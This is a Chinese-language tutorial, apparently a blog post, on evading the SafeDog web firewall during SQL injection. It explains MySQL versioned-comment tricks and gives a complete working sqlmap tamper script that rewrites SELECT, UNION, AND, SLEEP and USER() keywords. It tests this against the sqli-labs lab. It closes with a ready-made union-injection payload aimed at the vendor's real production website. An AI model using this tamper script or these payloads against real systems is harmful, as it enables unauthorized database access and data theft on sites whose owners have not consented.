安全狗ByPass之tamper改造适配所有注入类型
0x00:前言
之前写过关于安全狗的绕过tamper,但是仅限于可联合注入,为了偷懒决定完善一下tamper,使其可以通用。
0x01:FUZZ
此次实验环境为sqli-labs-9 由于本关卡支持布尔及延时注入,所以以此关进行验证。
首先可以确认的是 安全狗并未禁用内联,手注依然可以进行注入。
但是tamper怎么就歇菜了呢?
使用-v3 参数逐句分析可知,sqlmap已经成功识别出存在注入,但是确无法继续向下执行,错误原因为无法识别数据库类型。
那么我们指定数据库类型为mysql,观察它还能不能继续往下跑
果然也失败了。
这里其实已经能看出来了,sqlmap在判断注入类型之前未能将数据库类型判断出来,所以一定是之前判断数据库相关的语句出现了问题。
(这里顺带提一嘴,为什么看起来只能使用延时注入的less9可以用布尔盲注呢,因为源码在else逻辑里增加了这么一句,
所以依然是可以使用布尔盲注的)
为什么会出现这种错误呢,在看了一遍语句后,发现几个比较特殊的地方
首先,sqlmp的语句都是集中放到一个占位符进行操作的,类似
?id=-1' union all select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3 --+
这就导致了很多问题,我们将tamper的规则应用到这条语句上
payload:?id=-1' union /*!80000aaa*/all/*!80000aaa*/ select/*!80000aaa*/ 1,(select group_concat(table_name) from information_schema.tables where table_schema=database/*80000aaa*/()),3 --+
到安全狗试一试
被waf掉了,但是这样却可以
是不是很奇怪,这两条语句只是因为差了个select 就阴阳相隔了。其实它们本质上是没有区别的。那到底为什么会出现这种情况呢,经过测试只要占位符内的select后面跟字符它就封。。。
所以这引出了我们需要修改的第一个规则 即占位符内的 select
这样便绕过了第一个坎。
增加规则继续跑sqlmap
依然挂菜。。
找了一会儿原因 找到了第二个点
关于部分组合的强规则
比如 select version 这个强规则,因为/*!80000aaa*/功能相当于空格,但是 select version 这个规则是无视空格直接waf的,无法这样将其绕过,那还能绕过吗?
当然可以,在mysql的语法中,有三种注释方法:-- # (单行注释)和 /* */(多行注释)如果在/*后加惊叹号 ! 意为/* */里的语句将被执行,在mysql中 /*! ....*/ 不是注释,mysql为了保持兼容,它把一些特有的仅在mysql上用的语句放在/*!....*/中,这样这些语句如果在其他数据库中是不会被执行,但在mysql中它会执行。如下语句/*!50001 select * from test */;这里的50001表示假如数据库是5.00.01及以上版本,该语句才会被执行。
所以我们可以使用/*12447 select*/将select与version隔离,这个数怎么得出来的呢,当然是爆破所有的五位数得到的。
我们试一下
这样便绕过了select 与部分函数的强规则
包括 :
select query_user
select group_concat
......
增加规则
sleep()函数与user()函数相同,需要分别处理,所以增加规则
0x02:tamper
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
Author:pureqh.top
"""
import re
import os
from lib.core.data import kb
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
__priority__ = PRIORITY.LOW
def dependencies():
singleTimeWarnMessage("Bypass safedog by pureqh'%s' only %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))
def tamper(payload, **kwargs):
payload=payload.replace('AND','/*!11444AND*/')
payload=payload.replace('ORDER','order/*!80000aaa*/')
payload=payload.replace('UNION ALL SELECT','/*!11444union*/ /*!11444all*/ /*!11444select*/')
payload=payload.replace("SELECT","/*!12447select*/")
payload=payload.replace(" USER()"," user/*!80000aaa*/()")
payload=payload.replace("SLEEP(","sleep/*!80000aaa*/(")
return payload
验证:
可联合注入:
报错注入:
布尔型注入:
延时型注入:
那怎么绕过官网呢?结合之前对云锁的经验,payload:
https://www.safedog.cn/news.html?id=4046' "/*" /*!11444union all select 1,(select group_concat(schema_name) from information_schema.schemata) ,3 */ --+